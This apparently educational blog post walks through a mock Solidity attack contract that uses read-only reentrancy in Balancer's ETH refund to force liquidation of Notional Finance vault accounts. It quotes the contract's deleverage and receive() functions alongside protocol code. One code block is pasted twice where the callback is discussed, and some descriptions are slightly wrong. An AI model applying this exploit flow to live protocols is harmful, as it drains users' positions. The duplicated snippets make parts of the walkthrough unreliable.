Theoretical-Practical: Balancer and Read only Reentrancy Part 2
In part II of this two part series on read only reentrancy and Balancer, we will undertake a deep dive into a mock attack contract that exploits the vulnerability as described in the previous article.
The aim of this attack contract is to allow the attacker to liquidate and profit from artificially under-collateralized accounts within the Notional Finance ecosystem. Unlike institutional actors in traditional finance, Notional Finance and other DeFi protocols do not have a standardized procedure to issue margin calls and liquidate under-collateralized protocol accounts. Instead, the liquidation process is outsourced to private liquidators and the liquidator who is able to detect and liquidate a distressed account in the fastest manner possible is entitled receive a portion of the liquidation proceeds as a reward. Unfortunately, the presence of read only reentrancy allows for sufficiently collateralized accounts to be artificially under-collateralized and vulnerable to liquidation.
Once again, code will be provided below but please kindly reference this Github link to see the contract in its entirety. Before we begin our deep dive, I want to express my thanks to the Notional Finance team for providing this mock attack contract(”MockBalancerCallback
”).
We will first examine the library, state variables and constructor within MockBalancerCallback
.
using TokenUtils for IERC20;
NotionalProxy public immutable NOTIONAL;
address public immutable BALANCER_POOL_TOKEN;
CallbackParams internal callbackParams;
struct CallbackParams {
address account;
address vault;
bytes redeemData;
}
constructor(NotionalProxy notional_, address balancerPool_) {
NOTIONAL = notional_;
BALANCER_POOL_TOKEN = balancerPool_;
}
As aptly named, the TokenUtils
library provides certain utility functions for ERC20 tokens. The utility function that we are concerned with is checkApprove
which will be explored later on in this article.
MockBalancerCallback
contains two immutable state variables: NOTIONAL
and BALANCER_POOL_TOKEN
which are of type NotionalProxy
and address
respectively and assigned at construction time. For context,NotionalProxy
is a smart contract interface that allows protocol users to interact directly with Notional Finance’s protocol without relying on a GUI. The interface itself is fairly complex as it inherits from seven different parent interfaces and contains an extensive amount of functions with respect to accounts, batching and liquidation. Fortunately, we are only focused with the getVaultAccountCollateralRatio
function which NotionalProxy
inherits from the IVaultController
interface.
Lastly, we have the callbackParams
variable which is a struct that holds information pertaining to the account MockBalancerCallback
will attempt to liquidate. The account
field specifies the address that we are trying to liquidate while the vault
field specifies the specific Notional vault that the victim address is currently entered into.
We kickstart the attack by invoking the deleverage
function (note, the latter section of the deleverage
function has been omitted for the sake of readability).
function deleverage(
uint256 primaryAmount, //Roughly the same to join without upsetting price
uint256 secondaryAmount,
CallbackParams calldata params
) external {
IERC20(address(Deployments.WRAPPED_STETH)).checkApprove(
address(Deployments.BALANCER_VAULT),
type(uint256).max
);
callbackParams = params;
IAsset[] memory assets = new IAsset[](2);
assets[1] = IAsset(address(0));
assets[0] = IAsset(address(Deployments.WRAPPED_STETH));
uint256[] memory amounts = new uint256[](2);
// Join with 1 gWei less than msgValue to trigger callback
amounts[1] = primaryAmount - 1e9;
amounts[0] = secondaryAmount;
uint256 msgValue;
msgValue = primaryAmount;
}
function checkApprove(IERC20 token, address spender, uint256 amount) internal {
if (address(token) == address(0)) return;
IEIP20NonStandard(address(token)).approve(spender, 0);
_checkReturnCode();
if (amount > 0) {
IEIP20NonStandard(address(token)).approve(spender, amount);
_checkReturnCode();
}
}
The first step of deleverage
involves IERC20(address(Deployments.WRAPPED_STETH))
calling the checkApprove
function from the TokenUtils
library. The Deployments
library contains a list of deployment addresses for various ERC20 and DeFi smart contracts that are deployed on the ETH Mainnet for easy access by other contracts within the Notional Finance repo.
In this case, the Wrapped Liquid Staked Ether contract (”wstETH”) from Lido approves the Balancer Vault contract to allow it to spend the maximum amount of wstETH on behalf of MockBalancerCallback
.
After the approval is complete, deleverage
prepares the payload that will be sent when the malicious join is initialized into the Balancer Vault. We first instantiate the assets
variable in memory which is of type IAsset[].
Interesting enough, if one looks at the code for IAsset
, one will notice that it is actually an empty interface. While this may seem confusing, we see from Balancer’s documentation that IAsset
is used to represent ERC20 token contracts or ETH and that the addresses need to be wrapped around an interface in order for joinPool
to be successful (more details below).
Next, we create the assets
variable which is of type uint256[]
and populate the first two elements with primaryAmount - 1e9
and secondaryAmount
respectively. The rationale behind decrementing primaryAmount
by 1e9
is so that the malicious join is initiated with 1 less gwei in order to trigger the ETH refund process as described in Part 1.
Finally, we set msgValue
which is of type uint256
to be equal to primaryAmount
.
In the second part of the deleverage
function, the contract grabs reference to the Balancer Vault and invokes the joinPool
method while sending the Balancer Vault an amount of ETH equivalent to msgValue
.
function deleverage(
uint256 primaryAmount,
uint256 secondaryAmount,
CallbackParams calldata params
) external {
Deployments.BALANCER_VAULT.joinPool{value: msgValue}(
0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080,
address(this),
address(this),
IBalancerVault.JoinPoolRequest(
assets,
amounts,
abi.encode(
IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
amounts,
0
),
false // Don't use internal balances
)
);
}
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
As shown above, MockBalancerCallback
hardwires the poolId
to 0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080
while setting itself as the sender
and recipient
. The contract also inputs the request
param which is a JoinPoolRequest
struct partially derived from the two in-memory arrays (assets
and amounts
). The fromInternalBalance
field within request is set to false
so that the pool tokens are sent to MockBalancerCallback
in an ERC-20 transfer and are not deposited in the contract’s internal balances.
In any case, the invocation of joinPool
will trigger the read only reentrancy flow as any excess ETH that is sent during the join will be refunded back to the contract via the low level call
API and hit the receive()
function within MockBalancerCallback
.
function deleverage(
uint256 primaryAmount,
uint256 secondaryAmount,
CallbackParams calldata params
) external {
Deployments.BALANCER_VAULT.joinPool{value: msgValue}(
0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080,
address(this),
address(this),
IBalancerVault.JoinPoolRequest(
assets,
amounts,
abi.encode(
IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
amounts,
0
),
false // Don't use internal balances
)
);
}
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}ja
There is an initial check to determine that the origin of the ETH being refunded is from the Balancer Vault. Once this check is passed, NOTIONAL
will call the getVaultAccountCollateralRatio
function while passing in the address of the victim account and the address of the Notional vault contained within callbackParams
. For the sake of brevity, we will not dedicate too much time analyzing the mechanics behind Notional’s collateral calculation and liquidation process although this may be covered in a future article.
function getVaultAccountCollateralRatio(address account, address vault) external override view returns (
int256 collateralRatio,
int256 minCollateralRatio,
int256 maxLiquidatorDepositAssetCash,
uint256 vaultSharesToLiquidator
) {
VaultConfig memory vaultConfig = VaultConfiguration.getVaultConfigView(vault);
VaultAccount memory vaultAccount = VaultAccountLib.getVaultAccount(account, vault);
VaultState memory vaultState = VaultStateLib.getVaultState(vault, vaultAccount.maturity);
minCollateralRatio = vaultConfig.minCollateralRatio;
if (vaultState.isSettled) {
// In this case, the maturity has been settled and although the vault account says that it has
// some fCash balance it does not actually owe any debt anymore.
collateralRatio = type(int256).max;
} else {
int256 vaultShareValue;
(collateralRatio, vaultShareValue) = vaultConfig.calculateCollateralRatio(
vaultState, account, vaultAccount.vaultShares, vaultAccount.fCash
);
// Calculates liquidation factors if the account is eligible
if (collateralRatio < minCollateralRatio && vaultShareValue > 0) {
(maxLiquidatorDepositAssetCash, /* */) = vaultAccount.calculateDeleverageAmount(
vaultConfig, vaultShareValue
);
vaultSharesToLiquidator = maxLiquidatorDepositAssetCash.toUint()
.mul(vaultConfig.liquidationRate.toUint())
.mul(vaultAccount.vaultShares)
.div(vaultShareValue.toUint())
.div(uint256(Constants.RATE_PRECISION));
}
}
getVaultAccountCollateralRatio
returns four values and the primary return value of note is maxLiquidatorDepositAssetCash
. First, we instantiate a list of in-memory variables (vaultConfig
, vaultAccount
, etc.) to gain access to certain vault and collateral helper functions. Here, we see that vaultConfig
invokes the minCollateralRatio
method to derive the minCollateralRatio
variable.
The initial If Check with respect to vaultState.isSettled
determines if the current vault has already matured. If the check resolves to a truthy value, users within the vault do not owe any debt anymore making liquidation impossible. Click here for a quick summary on Notional’s Leveraged Vaults.
If the Vault has not been settled, vaultConfig
will call calculateCollateralRatio
to calculate the collateralRatio
and the vaultShareValue
which as the name implies, represents the collateral ratio of an account and the value of that account’s vault shares denominated in asset cash.
If the collateralRatio
is less than the minCollateralRatio
and if vaultShareValue
is greater than 0, this means that the account in question is eligible for liquidation. vaultAccount
will then call the calculateDeverlageAmount
function to return maxLiquidatorDepositAssetCash
. This variable represents the maximum amount a liquidator can deposit in asset cash to offset the victim account’s debt position.
Once maxLiquidatorDepositAssetCash
has been determined, the attack contract will invoke deleverageAccount
on the Notional vault targeting the victim address as laid out in callbackParams
.
receive() external payable {
if (msg.sender == address(Deployments.BALANCER_VAULT)) {
IStrategyVault(callbackParams.vault).deleverageAccount(
callbackParams.account,
callbackParams.vault,
address(this),
uint256(maxLiquidatorDepositAssetCash),
true,
callbackParams.redeemData //Not necessary
);
emit AccountDeleveraged(callbackParams.account);
}
}
In the interest of brevity, we will not run through the internal logic of this function although inquisitive readers may click this link to review the function in full. The end result of deleverageAccount
is that MockBalancerCallback
will be able to purchase the victim account’s vault shares at a discount and redeem them for cash at the expense of the victim account’s position within the vault being liquidated.
We have now established a clear attack flow on how a malicious attacker might be able to use read only reentrancy to manipulate collateral ratios from protocols that rely on Balancer and liquidate any unlucky accounts. Given the complexity of some of the collateral and liquidation mechanics that was given ample analysis in this article, my next article will aim to demystify the logic and math behind Notional Finance’s Leveraged Vault.
[1]: Notional Finance. (Last updated as of February 15, 2023). https://github.com/notional-finance/leveraged-vaults/blob/b0678a70d8c944b665e13269dc950c1f9021461e/contracts/mocks/balancer/MockBalancerCallback.sol
[2]: Notional Finance. (Last updated as of June 6, 2022). https://github.com/notional-finance/leveraged-vaults/blob/master/interfaces/notional/NotionalProxy.sol
[3]: Notional Finance. (Last updated as of October 18, 2022) https://github.com/notional-finance/leveraged-vaults/blob/master/contracts/global/Deployments.sol
[4]: Teddy Woodward. (September 7, 2022). Introducing Leveraged Vaults https://blog.notional.finance/introducing-leveraged-vaults/
[5] Notional Finance. (Last updated as of November 3, 2022) https://github.com/notional-finance/contracts-v2/blob/63eb0b46ec37e5fc5447bdde3d951dd90f245741/contracts/external/actions/VaultAccountAction.sol
New to trading? Try crypto trading bots or copy trading on best crypto exchanges
Join Coinmonks Telegram Channel and Youtube Channel get daily Crypto News